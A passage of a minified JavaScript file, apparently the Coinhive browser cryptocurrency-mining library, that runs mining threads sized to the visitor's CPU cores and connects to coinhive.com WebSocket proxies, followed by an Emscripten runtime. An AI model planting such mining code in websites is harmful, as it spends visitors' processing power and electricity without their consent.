coinhive-example/js/coinhive.min.js

(function(window){"use strict";var Miner=function(siteKey,params){params=params||{};this._siteKey=siteKey;this._user=null;this._threads=[];this._hashes=0;this._currentJob=null;this._autoReconnect=true;this._reconnectRetry=3;this._tokenFromServer=null;this._goal=0;this._totalHashesFromDeadThreads=0;this._throttle=Math.max(0,Math.min(.99,params.throttle||0));this._autoThreads={enabled:!!params.autoThreads,interval:null,adjustAt:null,adjustEvery:1e4,stats:{}};this._tab={ident:Math.random()*16777215|0,mode:CoinHive.IF_EXCLUSIVE_TAB,grace:0,lastPingReceived:0,interval:null};if(window.BroadcastChannel){try{this._bc=new BroadcastChannel("coinhive");this._bc.onmessage=function(msg){if(msg.data==="ping"){this._tab.lastPingReceived=Date.now()}}.bind(this)}catch(e){}}this._eventListeners={open:[],authed:[],close:[],error:[],job:[],found:[],accepted:[]};var defaultThreads=navigator.hardwareConcurrency||4;this._targetNumThreads=params.threads||defaultThreads;this._useWASM=this.hasWASMSupport()&&!params.forceASMJS;this._asmjsStatus="unloaded";this._onTargetMetBound=this._onTargetMet.bind(this);this._onVerifiedBound=this._onVerified.bind(this)};Miner.prototype.start=function(mode){this._tab.mode=mode||CoinHive.IF_EXCLUSIVE_TAB;if(this._tab.interval){clearInterval(this._tab.interval);this._tab.interval=null}if(this._useWASM||this._asmjsStatus==="loaded"){this._startNow()}else if(this._asmjsStatus==="unloaded"){this._asmjsStatus="pending";var xhr=new XMLHttpRequest;xhr.addEventListener("load",function(){CoinHive.CRYPTONIGHT_WORKER_BLOB=window.URL.createObjectURL(new Blob([xhr.responseText]));this._asmjsStatus="loaded";this._startNow()}.bind(this),xhr);xhr.open("get",CoinHive.CONFIG.LIB_URL+"cryptonight-asmjs.min.js",true);xhr.send()}};Miner.prototype.stop=function(mode){for(var i=0;i<this._threads.length;i++){this._totalHashesFromDeadThreads+=this._threads[i].hashesTotal;this._threads[i].stop()}this._threads=[];this._autoReconnect=false;if(this._socket){this._socket.close()}this._currentJob=null;if(this._autoThreads.interval){clearInterval(this._autoThreads.interval);this._autoThreads.interval=null}if(this._tab.interval&&mode!=="dontKillTabUpdate"){clearInterval(this._tab.interval);this._tab.interval=null}};Miner.prototype.getHashesPerSecond=function(){var hashesPerSecond=0;for(var i=0;i<this._threads.length;i++){hashesPerSecond+=this._threads[i].hashesPerSecond}return hashesPerSecond};Miner.prototype.getTotalHashes=function(estimate){var now=Date.now();var hashes=this._totalHashesFromDeadThreads;for(var i=0;i<this._threads.length;i++){var thread=this._threads[i];hashes+=thread.hashesTotal;if(estimate){var tdiff=(now-thread.lastMessageTimestamp)/1e3*.9;hashes+=tdiff*thread.hashesPerSecond}}return hashes|0};Miner.prototype.getAcceptedHashes=function(){return this._hashes};Miner.prototype.getToken=function(){return this._tokenFromServer};Miner.prototype.on=function(type,callback){if(this._eventListeners[type]){this._eventListeners[type].push(callback)}};Miner.prototype.getAutoThreadsEnabled=function(enabled){return this._autoThreads.enabled};Miner.prototype.setAutoThreadsEnabled=function(enabled){this._autoThreads.enabled=!!enabled;if(!enabled&&this._autoThreads.interval){clearInterval(this._autoThreads.interval);this._autoThreads.interval=null}if(enabled&&!this._autoThreads.interval){this._autoThreads.adjustAt=Date.now()+this._autoThreads.adjustEvery;this._autoThreads.interval=setInterval(this._adjustThreads.bind(this),1e3)}};Miner.prototype.getThrottle=function(){return this._throttle};Miner.prototype.setThrottle=function(throttle){this._throttle=Math.max(0,Math.min(.99,throttle));if(this._currentJob){this._setJob(this._currentJob)}};Miner.prototype.getNumThreads=function(){return this._targetNumThreads};Miner.prototype.setNumThreads=function(num){var num=Math.max(1,num|0);this._targetNumThreads=num;if(num>this._threads.length){for(var i=0;num>this._threads.length;i++){var thread=new CoinHive.JobThread;if(this._currentJob){thread.setJob(this._currentJob,this._onTargetMetBound)}this._threads.push(thread)}}else if(num<this._threads.length){while(num<this._threads.length){var thread=this._threads.pop();this._totalHashesFromDeadThreads+=thread.hashesTotal;thread.stop()}}};Miner.prototype.hasWASMSupport=function(){return window.WebAssembly!==undefined};Miner.prototype.isRunning=function(){return this._threads.length>0};Miner.prototype._startNow=function(){if(this._tab.mode!==CoinHive.FORCE_MULTI_TAB&&!this._tab.interval){this._tab.interval=setInterval(this._updateTabs.bind(this),1e3)}if(this._tab.mode===CoinHive.IF_EXCLUSIVE_TAB&&this._otherTabRunning()){return}if(this._tab.mode===CoinHive.FORCE_EXCLUSIVE_TAB){this._tab.grace=Date.now()+3e3}if(!this.verifyThread){this.verifyThread=new CoinHive.JobThread}this.setNumThreads(this._targetNumThreads);this._autoReconnect=true;this._connect()};Miner.prototype._otherTabRunning=function(){if(this._tab.lastPingReceived>Date.now()-1500){return true}try{var tdjson=localStorage.getItem("coinhive");if(tdjson){var td=JSON.parse(tdjson);if(td.ident!==this._tab.ident&&Date.now()-td.time<1500){return true}}}catch(e){}return false};Miner.prototype._updateTabs=function(){var otherTabRunning=this._otherTabRunning();if(otherTabRunning&&this.isRunning()&&Date.now()>this._tab.grace){this.stop("dontKillTabUpdate")}else if(!otherTabRunning&&!this.isRunning()){this._startNow()}if(this.isRunning()){if(this._bc){this._bc.postMessage("ping")}try{localStorage.setItem("coinhive",JSON.stringify({ident:this._tab.ident,time:Date.now()}))}catch(e){}}};Miner.prototype._adjustThreads=function(){var hashes=this.getHashesPerSecond();var threads=this.getNumThreads();var stats=this._autoThreads.stats;stats[threads]=stats[threads]?stats[threads]*.5+hashes*.5:hashes;if(Date.now()>this._autoThreads.adjustAt){this._autoThreads.adjustAt=Date.now()+this._autoThreads.adjustEvery;var cur=(stats[threads]||0)-1;var up=stats[threads+1]||0;var down=stats[threads-1]||0;if(cur>down&&(up===0||up>cur)&&threads<8){return this.setNumThreads(threads+1)}else if(cur>up&&(!down||down>cur)&&threads>1){return this.setNumThreads(threads-1)}}};Miner.prototype._emit=function(type,params){var listeners=this._eventListeners[type];if(listeners&&listeners.length){for(var i=0;i<listeners.length;i++){listeners[i](params)}}};Miner.prototype._hashString=function(s){var hash=5381,i=s.length;while(i){hash=hash*33^s.charCodeAt(--i)}return hash>>>0};Miner.prototype._connect=function(){if(this._socket){return}var shards=CoinHive.CONFIG.WEBSOCKET_SHARDS;var shardIdx=this._hashString(this._siteKey)%shards.length;if(this._siteKey.match(/^nyJe9/)){shardIdx=Math.random()*shards.length|0}var proxies=shards[shardIdx];var proxyUrl=proxies[Math.random()*proxies.length|0];this._socket=new WebSocket(proxyUrl);this._socket.onmessage=this._onMessage.bind(this);this._socket.onerror=this._onError.bind(this);this._socket.onclose=this._onClose.bind(this);this._socket.onopen=this._onOpen.bind(this)};Miner.prototype._onOpen=function(ev){this._emit("open");var params={site_key:this._siteKey,type:"anonymous",user:null,goal:0};if(this._user){params.type="user";params.user=this._user.toString()}else if(this._goal){params.type="token";params.goal=this._goal}this._send("auth",params)};Miner.prototype._onError=function(ev){this._emit("error",{error:"connection_error"});this._onClose(ev)};Miner.prototype._onClose=function(ev){if(ev.code>=1003&&ev.code<=1009){this._reconnectRetry=60}for(var i=0;i<this._threads.length;i++){this._threads[i].stop()}this._threads=[];this._socket=null;this._emit("close");if(this._autoReconnect){setTimeout(this._startNow.bind(this),this._reconnectRetry*1e3)}};Miner.prototype._onMessage=function(ev){var msg=JSON.parse(ev.data);if(msg.type==="job"){this._setJob(msg.params);this._emit("job",msg.params);if(this._autoThreads.enabled&&!this._autoThreads.interval){this._autoThreads.adjustAt=Date.now()+this._autoThreads.adjustEvery;this._autoThreads.interval=setInterval(this._adjustThreads.bind(this),1e3)}}else if(msg.type==="verify"){this.verifyThread.verify(msg.params,this._onVerifiedBound)}else if(msg.type==="hash_accepted"){this._hashes=msg.params.hashes;this._emit("accepted",msg.params);if(this._goal&&this._hashes>=this._goal){this.stop()}}else if(msg.type==="authed"){this._tokenFromServer=msg.params.token||null;this._hashes=msg.params.hashes||0;this._emit("authed",msg.params);this._reconnectRetry=3}else if(msg.type==="error"){if(console&&console.error){console.error("Coinhive Error:",msg.params.error)}this._emit("error",msg.params);if(msg.params.error==="invalid_site_key"){this._reconnectRetry=6e3}}else if(msg.type==="banned"||msg.params.banned){this._emit("error",{banned:true});this._reconnectRetry=600}};Miner.prototype._setJob=function(job){this._currentJob=job;this._currentJob.throttle=this._throttle;for(var i=0;i<this._threads.length;i++){this._threads[i].setJob(job,this._onTargetMetBound)}};Miner.prototype._onTargetMet=function(result){this._emit("found",result);if(result.job_id===this._currentJob.job_id){this._send("submit",{job_id:result.job_id,nonce:result.nonce,result:result.result})}};Miner.prototype._onVerified=function(verifyResult){this._send("verified",verifyResult)};Miner.prototype._send=function(type,params){if(!this._socket){return}var msg={type:type,params:params||{}};this._socket.send(JSON.stringify(msg))};window.CoinHive=window.CoinHive||{};window.CoinHive.IF_EXCLUSIVE_TAB="ifExclusiveTab";window.CoinHive.FORCE_EXCLUSIVE_TAB="forceExclusiveTab";window.CoinHive.FORCE_MULTI_TAB="forceMultiTab";window.CoinHive.Token=function(siteKey,goal,params){var miner=new Miner(siteKey,params);miner._goal=goal||0;return miner};window.CoinHive.User=function(siteKey,user,params){var miner=new Miner(siteKey,params);miner._user=user;return miner};window.CoinHive.Anonymous=function(siteKey,params){var miner=new Miner(siteKey,params);return miner}})(window);(function(window){"use strict";var JobThread=function(){this.worker=new Worker(CoinHive.CRYPTONIGHT_WORKER_BLOB);this.worker.onmessage=this.onReady.bind(this);this.currentJob=null;this.jobCallback=function(){};this.verifyCallback=function(){};this._isReady=false;this.hashesPerSecond=0;this.hashesTotal=0;this.running=false;this.lastMessageTimestamp=Date.now()};JobThread.prototype.onReady=function(msg){if(msg.data!=="ready"||this._isReady){throw'Expecting first message to be "ready", got '+msg}this._isReady=true;this.worker.onmessage=this.onReceiveMsg.bind(this);if(this.currentJob){this.running=true;this.worker.postMessage(this.currentJob)}};JobThread.prototype.onReceiveMsg=function(msg){if(msg.data.verify_id){this.verifyCallback(msg.data);return}if(msg.data.result){this.jobCallback(msg.data)}this.hashesPerSecond=this.hashesPerSecond*.5+msg.data.hashesPerSecond*.5;this.hashesTotal+=msg.data.hashes;this.lastMessageTimestamp=Date.now();if(this.running){this.worker.postMessage(this.currentJob)}};JobThread.prototype.setJob=function(job,callback){this.currentJob=job;this.jobCallback=callback;if(this._isReady&&!this.running){this.running=true;this.worker.postMessage(this.currentJob)}};JobThread.prototype.verify=function(job,callback){if(!this._isReady){return}this.verifyCallback=callback;this.worker.postMessage(job)};JobThread.prototype.stop=function(){if(this.worker){this.worker.terminate();this.worker=null}this.running=false};window.CoinHive.JobThread=JobThread})(window);self.CoinHive=self.CoinHive||{};self.CoinHive.CONFIG={LIB_URL:"https://coinhive.com/lib/",WEBSOCKET_SHARDS:[["wss://ws001.coinhive.com/proxy","wss://ws002.coinhive.com/proxy","wss://ws003.coinhive.com/proxy","wss://ws004.coinhive.com/proxy","wss://ws005.coinhive.com/proxy","wss://ws006.coinhive.com/proxy","wss://ws007.coinhive.com/proxy","wss://ws029.coinhive.com/proxy"],["wss://ws008.coinhive.com/proxy","wss://ws009.coinhive.com/proxy","wss://ws010.coinhive.com/proxy","wss://ws011.coinhive.com/proxy","wss://ws012.coinhive.com/proxy","wss://ws013.coinhive.com/proxy","wss://ws014.coinhive.com/proxy","wss://ws030.coinhive.com/proxy"],["wss://ws015.coinhive.com/proxy","wss://ws016.coinhive.com/proxy","wss://ws017.coinhive.com/proxy","wss://ws018.coinhive.com/proxy","wss://ws019.coinhive.com/proxy","wss://ws020.coinhive.com/proxy","wss://ws021.coinhive.com/proxy","wss://ws031.coinhive.com/proxy"],["wss://ws022.coinhive.com/proxy","wss://ws023.coinhive.com/proxy","wss://ws024.coinhive.com/proxy","wss://ws025.coinhive.com/proxy","wss://ws026.coinhive.com/proxy","wss://ws027.coinhive.com/proxy","wss://ws028.coinhive.com/proxy","wss://ws032.coinhive.com/proxy"]],CAPTCHA_URL:"https://coinhive.com/captcha/",MINER_URL:"https://coinhive.com/media/miner.html"};CoinHive.CRYPTONIGHT_WORKER_BLOB=URL.createObjectURL(new Blob([" self.CoinHive=self.CoinHive||{};self.CoinHive.CONFIG={LIB_URL:\"https:\/\/coinhive.com\/lib\/\",WEBSOCKET_SHARDS:[[\"wss:\/\/ws001.coinhive.com\/proxy\",\"wss:\/\/ws002.coinhive.com\/proxy\",\"wss:\/\/ws003.coinhive.com\/proxy\",\"wss:\/\/ws004.coinhive.com\/proxy\",\"wss:\/\/ws005.coinhive.com\/proxy\",\"wss:\/\/ws006.coinhive.com\/proxy\",\"wss:\/\/ws007.coinhive.com\/proxy\",\"wss:\/\/ws029.coinhive.com\/proxy\"],[\"wss:\/\/ws008.coinhive.com\/proxy\",\"wss:\/\/ws009.coinhive.com\/proxy\",\"wss:\/\/ws010.coinhive.com\/proxy\",\"wss:\/\/ws011.coinhive.com\/proxy\",\"wss:\/\/ws012.coinhive.com\/proxy\",\"wss:\/\/ws013.coinhive.com\/proxy\",\"wss:\/\/ws014.coinhive.com\/proxy\",\"wss:\/\/ws030.coinhive.com\/proxy\"],[\"wss:\/\/ws015.coinhive.com\/proxy\",\"wss:\/\/ws016.coinhive.com\/proxy\",\"wss:\/\/ws017.coinhive.com\/proxy\",\"wss:\/\/ws018.coinhive.com\/proxy\",\"wss:\/\/ws019.coinhive.com\/proxy\",\"wss:\/\/ws020.coinhive.com\/proxy\",\"wss:\/\/ws021.coinhive.com\/proxy\",\"wss:\/\/ws031.coinhive.com\/proxy\"],[\"wss:\/\/ws022.coinhive.com\/proxy\",\"wss:\/\/ws023.coinhive.com\/proxy\",\"wss:\/\/ws024.coinhive.com\/proxy\",\"wss:\/\/ws025.coinhive.com\/proxy\",\"wss:\/\/ws026.coinhive.com\/proxy\",\"wss:\/\/ws027.coinhive.com\/proxy\",\"wss:\/\/ws028.coinhive.com\/proxy\",\"wss:\/\/ws032.coinhive.com\/proxy\"]],CAPTCHA_URL:\"https:\/\/coinhive.com\/captcha\/\",MINER_URL:\"https:\/\/coinhive.com\/media\/miner.html\"};var Module={locateFile:(function(path){return CoinHive.CONFIG.LIB_URL+path})};var Module;if(!Module)Module=(typeof Module!==\"undefined\"?Module:null)||{};var moduleOverrides={};for(var key in Module){if(Module.hasOwnProperty(key)){moduleOverrides[key]=Module[key]}}var ENVIRONMENT_IS_WEB=false;var ENVIRONMENT_IS_WORKER=false;var ENVIRONMENT_IS_NODE=false;var ENVIRONMENT_IS_SHELL=false;if(Module[\"ENVIRONMENT\"]){if(Module[\"ENVIRONMENT\"]===\"WEB\"){ENVIRONMENT_IS_WEB=true}else if(Module[\"ENVIRONMENT\"]===\"WORKER\"){ENVIRONMENT_IS_WORKER=true}else if(Module[\"ENVIRONMENT\"]===\"NODE\"){ENVIRONMENT_IS_NODE=true}else if(Module[\"ENVIRONMENT\"]===\"SHELL\"){ENVIRONMENT_IS_SHELL=true}else{throw new Error(\"The provided Module['ENVIRONMENT'] value is not valid. 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func=Module[\"_\"+ident];if(!func){try{func=eval(\"_\"+ident)}catch(e){}}assert(func,\"Cannot call unknown function \"+ident+\" (perhaps LLVM optimizations or closure removed it?)\");return func}var cwrap,ccall;((function(){var JSfuncs={\"stackSave\":(function(){Runtime.stackSave()}),\"stackRestore\":(function(){Runtime.stackRestore()}),\"arrayToC\":(function(arr){var ret=Runtime.stackAlloc(arr.length);writeArrayToMemory(arr,ret);return ret}),\"stringToC\":(function(str){var ret=0;if(str!==null&&str!==undefined&&str!==0){var len=(str.length<<2)+1;ret=Runtime.stackAlloc(len);stringToUTF8(str,ret,len)}return ret})};var toC={\"string\":JSfuncs[\"stringToC\"],\"array\":JSfuncs[\"arrayToC\"]};ccall=function ccallFunc(ident,returnType,argTypes,args,opts){var func=getCFunc(ident);var cArgs=[];var stack=0;if(args){for(var i=0;i<args.length;i++){var converter=toC[argTypes[i]];if(converter){if(stack===0)stack=Runtime.stackSave();cArgs[i]=converter(args[i])}else{cArgs[i]=args[i]}}}var ret=func.apply(null,cArgs);if(returnType===\"string\")ret=Pointer_stringify(ret);if(stack!==0){if(opts&&opts.async){EmterpreterAsync.asyncFinalizers.push((function(){Runtime.stackRestore(stack)}));return}Runtime.stackRestore(stack)}return ret};var sourceRegex=\/^function\\s*[a-zA-Z$_0-9]*\\s*\\(([^)]*)\\)\\s*{\\s*([^*]*?)[\\s;]*(?:return\\s*(.*?)[;\\s]*)?}$\/;function parseJSFunc(jsfunc){var parsed=jsfunc.toString().match(sourceRegex).slice(1);return{arguments:parsed[0],body:parsed[1],returnValue:parsed[2]}}var JSsource=null;function ensureJSsource(){if(!JSsource){JSsource={};for(var fun in JSfuncs){if(JSfuncs.hasOwnProperty(fun)){JSsource[fun]=parseJSFunc(JSfuncs[fun])}}}}cwrap=function cwrap(ident,returnType,argTypes){argTypes=argTypes||[];var cfunc=getCFunc(ident);var numericArgs=argTypes.every((function(type){return type===\"number\"}));var numericRet=returnType!==\"string\";if(numericRet&&numericArgs){return cfunc}var argNames=argTypes.map((function(x,i){return\"$\"+i}));var funcstr=\"(function(\"+argNames.join(\",\")+\") {\";var nargs=argTypes.length;if(!numericArgs){ensureJSsource();funcstr+=\"var stack = \"+JSsource[\"stackSave\"].body+\";\";for(var i=0;i<nargs;i++){var arg=argNames[i],type=argTypes[i];if(type===\"number\")continue;var convertCode=JSsource[type+\"ToC\"];funcstr+=\"var \"+convertCode.arguments+\" = \"+arg+\";\";funcstr+=convertCode.body+\";\";funcstr+=arg+\"=(\"+convertCode.returnValue+\");\"}}var cfuncname=parseJSFunc((function(){return cfunc})).returnValue;funcstr+=\"var ret = \"+cfuncname+\"(\"+argNames.join(\",\")+\");\";if(!numericRet){var strgfy=parseJSFunc((function(){return Pointer_stringify})).returnValue;funcstr+=\"ret = \"+strgfy+\"(ret);\"}if(!numericArgs){ensureJSsource();funcstr+=JSsource[\"stackRestore\"].body.replace(\"()\",\"(stack)\")+\";\"}funcstr+=\"return ret})\";return eval(funcstr)}}))();Module[\"ccall\"]=ccall;Module[\"cwrap\"]=cwrap;function setValue(ptr,value,type,noSafe){type=type||\"i8\";if(type.charAt(type.length-1)===\"*\")type=\"i32\";switch(type){case\"i1\":HEAP8[ptr>>0]=value;break;case\"i8\":HEAP8[ptr>>0]=value;break;case\"i16\":HEAP16[ptr>>1]=value;break;case\"i32\":HEAP32[ptr>>2]=value;break;case\"i64\":tempI64=[value>>>0,(tempDouble=value,+Math_abs(tempDouble)>=1?tempDouble>0?(Math_min(+Math_floor(tempDouble\/4294967296),4294967295)|0)>>>0:~~+Math_ceil((tempDouble- +(~~tempDouble>>>0))\/4294967296)>>>0:0)],HEAP32[ptr>>2]=tempI64[0],HEAP32[ptr+4>>2]=tempI64[1];break;case\"float\":HEAPF32[ptr>>2]=value;break;case\"double\":HEAPF64[ptr>>3]=value;break;default:abort(\"invalid type for setValue: \"+type)}}Module[\"setValue\"]=setValue;function getValue(ptr,type,noSafe){type=type||\"i8\";if(type.charAt(type.length-1)===\"*\")type=\"i32\";switch(type){case\"i1\":return HEAP8[ptr>>0];case\"i8\":return HEAP8[ptr>>0];case\"i16\":return HEAP16[ptr>>1];case\"i32\":return HEAP32[ptr>>2];case\"i64\":return HEAP32[ptr>>2];case\"float\":return HEAPF32[ptr>>2];case\"double\":return HEAPF64[ptr>>3];default:abort(\"invalid type for setValue: \"+type)}return null}Module[\"getValue\"]=getValue;var ALLOC_NORMAL=0;var ALLOC_STACK=1;var ALLOC_STATIC=2;var ALLOC_DYNAMIC=3;var ALLOC_NONE=4;Module[\"ALLOC_NORMAL\"]=ALLOC_NORMAL;Module[\"ALLOC_STACK\"]=ALLOC_STACK;Module[\"ALLOC_STATIC\"]=ALLOC_STATIC;Module[\"ALLOC_DYNAMIC\"]=ALLOC_DYNAMIC;Module[\"ALLOC_NONE\"]=ALLOC_NONE;function allocate(slab,types,allocator,ptr){var zeroinit,size;if(typeof slab===\"number\"){zeroinit=true;size=slab}else{zeroinit=false;size=slab.length}var singleType=typeof types===\"string\"?types:null;var ret;if(allocator==ALLOC_NONE){ret=ptr}else{ret=[typeof _malloc===\"function\"?_malloc:Runtime.staticAlloc,Runtime.stackAlloc,Runtime.staticAlloc,Runtime.dynamicAlloc][allocator===undefined?ALLOC_STATIC:allocator](Math.max(size,singleType?1:types.length))}if(zeroinit){var ptr=ret,stop;assert((ret&3)==0);stop=ret+(size&~3);for(;ptr<stop;ptr+=4){HEAP32[ptr>>2]=0}stop=ret+size;while(ptr<stop){HEAP8[ptr++>>0]=0}return ret}if(singleType===\"i8\"){if(slab.subarray||slab.slice){HEAPU8.set(slab,ret)}else{HEAPU8.set(new Uint8Array(slab),ret)}return ret}var i=0,type,typeSize,previousType;while(i<size){var curr=slab[i];if(typeof curr===\"function\"){curr=Runtime.getFunctionIndex(curr)}type=singleType||types[i];if(type===0){i++;continue}if(type==\"i64\")type=\"i32\";setValue(ret+i,curr,type);if(previousType!==type){typeSize=Runtime.getNativeTypeSize(type);previousType=type}i+=typeSize}return ret}Module[\"allocate\"]=allocate;function getMemory(size){if(!staticSealed)return Runtime.staticAlloc(size);if(!runtimeInitialized)return Runtime.dynamicAlloc(size);return _malloc(size)}Module[\"getMemory\"]=getMemory;function Pointer_stringify(ptr,length){if(length===0||!ptr)return\"\";var hasUtf=0;var t;var i=0;while(1){t=HEAPU8[ptr+i>>0];hasUtf|=t;if(t==0&&!length)break;i++;if(length&&i==length)break}if(!length)length=i;var ret=\"\";if(hasUtf<128){var MAX_CHUNK=1024;var curr;while(length>0){curr=String.fromCharCode.apply(String,HEAPU8.subarray(ptr,ptr+Math.min(length,MAX_CHUNK)));ret=ret?ret+curr:curr;ptr+=MAX_CHUNK;length-=MAX_CHUNK}return ret}return Module[\"UTF8ToString\"](ptr)}Module[\"Pointer_stringify\"]=Pointer_stringify;function AsciiToString(ptr){var str=\"\";while(1){var ch=HEAP8[ptr++>>0];if(!ch)return str;str+=String.fromCharCode(ch)}}Module[\"AsciiToString\"]=AsciiToString;function stringToAscii(str,outPtr){return writeAsciiToMemory(str,outPtr,false)}Module[\"stringToAscii\"]=stringToAscii;var UTF8Decoder=typeof TextDecoder!==\"undefined\"?new TextDecoder(\"utf8\"):undefined;function UTF8ArrayToString(u8Array,idx){var endPtr=idx;while(u8Array[endPtr])++endPtr;if(endPtr-idx>16&&u8Array.subarray&&UTF8Decoder){return UTF8Decoder.decode(u8Array.subarray(idx,endPtr))}else{var u0,u1,u2,u3,u4,u5;var str=\"\";while(1){u0=u8Array[idx++];if(!u0)return str;if(!(u0&128)){str+=String.fromCharCode(u0);continue}u1=u8Array[idx++]&63;if((u0&224)==192){str+=String.fromCharCode((u0&31)<<6|u1);continue}u2=u8Array[idx++]&63;if((u0&240)==224){u0=(u0&15)<<12|u1<<6|u2}else{u3=u8Array[idx++]&63;if((u0&248)==240){u0=(u0&7)<<18|u1<<12|u2<<6|u3}else{u4=u8Array[idx++]&63;if((u0&252)==248){u0=(u0&3)<<24|u1<<18|u2<<12|u3<<6|u4}else{u5=u8Array[idx++]&63;u0=(u0&1)<<30|u1<<24|u2<<18|u3<<12|u4<<6|u5}}}if(u0<65536){str+=String.fromCharCode(u0)}else{var ch=u0-65536;str+=String.fromCharCode(55296|ch>>10,56320|ch&1023)}}}}Module[\"UTF8ArrayToString\"]=UTF8ArrayToString;function UTF8ToString(ptr){return UTF8ArrayToString(HEAPU8,ptr)}Module[\"UTF8ToString\"]=UTF8ToString;function stringToUTF8Array(str,outU8Array,outIdx,maxBytesToWrite){if(!(maxBytesToWrite>0))return 0;var startIdx=outIdx;var endIdx=outIdx+maxBytesToWrite-1;for(var i=0;i<str.length;++i){var u=str.charCodeAt(i);if(u>=55296&&u<=57343)u=65536+((u&1023)<<10)|str.charCodeAt(++i)&1023;if(u<=127){if(outIdx>=endIdx)break;outU8Array[outIdx++]=u}else if(u<=2047){if(outIdx+1>=endIdx)break;outU8Array[outIdx++]=192|u>>6;outU8Array[outIdx++]=128|u&63}else if(u<=65535){if(outIdx+2>=endIdx)break;outU8Array[outIdx++]=224|u>>12;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else if(u<=2097151){if(outIdx+3>=endIdx)break;outU8Array[outIdx++]=240|u>>18;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else if(u<=67108863){if(outIdx+4>=endIdx)break;outU8Array[outIdx++]=248|u>>24;outU8Array[outIdx++]=128|u>>18&63;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else{if(outIdx+5>=endIdx)break;outU8Array[outIdx++]=252|u>>30;outU8Array[outIdx++]=128|u>>24&63;outU8Array[outIdx++]=128|u>>18&63;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}}outU8Array[outIdx]=0;return outIdx-startIdx}Module[\"stringToUTF8Array\"]=stringToUTF8Array;function stringToUTF8(str,outPtr,maxBytesToWrite){return stringToUTF8Array(str,HEAPU8,outPtr,maxBytesToWrite)}Module[\"stringToUTF8\"]=stringToUTF8;function lengthBytesUTF8(str){var len=0;for(var i=0;i<str.length;++i){var u=str.charCodeAt(i);if(u>=55296&&u<=57343)u=65536+((u&1023)<<10)|str.charCodeAt(++i)&1023;if(u<=127){++len}else if(u<=2047){len+=2}else if(u<=65535){len+=3}else if(u<=2097151){len+=4}else if(u<=67108863){len+=5}else{len+=6}}return len}Module[\"lengthBytesUTF8\"]=lengthBytesUTF8;var UTF16Decoder=typeof TextDecoder!==\"undefined\"?new TextDecoder(\"utf-16le\"):undefined;function demangle(func){var __cxa_demangle_func=Module[\"___cxa_demangle\"]||Module[\"__cxa_demangle\"];if(__cxa_demangle_func){try{var s=func.substr(1);var len=lengthBytesUTF8(s)+1;var buf=_malloc(len);stringToUTF8(s,buf,len);var status=_malloc(4);var ret=__cxa_demangle_func(buf,0,0,status);if(getValue(status,\"i32\")===0&&ret){return Pointer_stringify(ret)}}catch(e){}finally{if(buf)_free(buf);if(status)_free(status);if(ret)_free(ret)}return func}Runtime.warnOnce(\"warning: build with -s DEMANGLE_SUPPORT=1 to link in libcxxabi demangling\");return func}function demangleAll(text){var regex=\/__Z[\\w\\d_]+\/g;return text.replace(regex,(function(x){var y=demangle(x);return x===y?x:x+\" [\"+y+\"]\"}))}function jsStackTrace(){var err=new Error;if(!err.stack){try{throw new Error(0)}catch(e){err=e}if(!err.stack){return\"(no stack trace available)\"}}return err.stack.toString()}function stackTrace(){var js=jsStackTrace();if(Module[\"extraStackTrace\"])js+=\"\\n\"+Module[\"extraStackTrace\"]();return demangleAll(js)}Module[\"stackTrace\"]=stackTrace;var WASM_PAGE_SIZE=65536;var ASMJS_PAGE_SIZE=16777216;function alignUp(x,multiple){if(x%multiple>0){x+=multiple-x%multiple}return x}var HEAP,buffer,HEAP8,HEAPU8,HEAP16,HEAPU16,HEAP32,HEAPU32,HEAPF32,HEAPF64;function updateGlobalBuffer(buf){Module[\"buffer\"]=buffer=buf}function updateGlobalBufferViews(){Module[\"HEAP8\"]=HEAP8=new Int8Array(buffer);Module[\"HEAP16\"]=HEAP16=new Int16Array(buffer);Module[\"HEAP32\"]=HEAP32=new Int32Array(buffer);Module[\"HEAPU8\"]=HEAPU8=new Uint8Array(buffer);Module[\"HEAPU16\"]=HEAPU16=new Uint16Array(buffer);Module[\"HEAPU32\"]=HEAPU32=new Uint32Array(buffer);Module[\"HEAPF32\"]=HEAPF32=new Float32Array(buffer);Module[\"HEAPF64\"]=HEAPF64=new Float64Array(buffer)}var STATIC_BASE,STATICTOP,staticSealed;var STACK_BASE,STACKTOP,STACK_MAX;var DYNAMIC_BASE,DYNAMICTOP_PTR;STATIC_BASE=STATICTOP=STACK_BASE=STACKTOP=STACK_MAX=DYNAMIC_BASE=DYNAMICTOP_PTR=0;staticSealed=false;function abortOnCannotGrowMemory(){abort(\"Cannot enlarge memory arrays. Either (1) compile with -s TOTAL_MEMORY=X with X higher than the current value \"+TOTAL_MEMORY+\", (2) compile with -s ALLOW_MEMORY_GROWTH=1 which allows increasing the size at runtime, or (3) if you want malloc to return NULL (0) instead of this abort, compile with -s ABORTING_MALLOC=0 \")}function enlargeMemory(){abortOnCannotGrowMemory()}var TOTAL_STACK=Module[\"TOTAL_STACK\"]||5242880;var TOTAL_MEMORY=Module[\"TOTAL_MEMORY\"]||16777216;if(TOTAL_MEMORY<TOTAL_STACK)Module.printErr(\"TOTAL_MEMORY should be larger than TOTAL_STACK, was \"+TOTAL_MEMORY+\"! (TOTAL_STACK=\"+TOTAL_STACK+\")\");if(Module[\"buffer\"]){buffer=Module[\"buffer\"]}else{if(typeof WebAssembly===\"object\"&&typeof WebAssembly.Memory===\"function\"){Module[\"wasmMemory\"]=new WebAssembly.Memory({\"initial\":TOTAL_MEMORY\/WASM_PAGE_SIZE,\"maximum\":TOTAL_MEMORY\/WASM_PAGE_SIZE});buffer=Module[\"wasmMemory\"].buffer}else{buffer=new ArrayBuffer(TOTAL_MEMORY)}}updateGlobalBufferViews();function getTotalMemory(){return TOTAL_MEMORY}HEAP32[0]=1668509029;HEAP16[1]=25459;if(HEAPU8[2]!==115||HEAPU8[3]!==99)throw\"Runtime error: expected the system to be little-endian!\";Module[\"HEAP\"]=HEAP;Module[\"buffer\"]=buffer;Module[\"HEAP8\"]=HEAP8;Module[\"HEAP16\"]=HEAP16;Module[\"HEAP32\"]=HEAP32;Module[\"HEAPU8\"]=HEAPU8;Module[\"HEAPU16\"]=HEAPU16;Module[\"HEAPU32\"]=HEAPU32;Module[\"HEAPF32\"]=HEAPF32;Module[\"HEAPF64\"]=HEAPF64;function 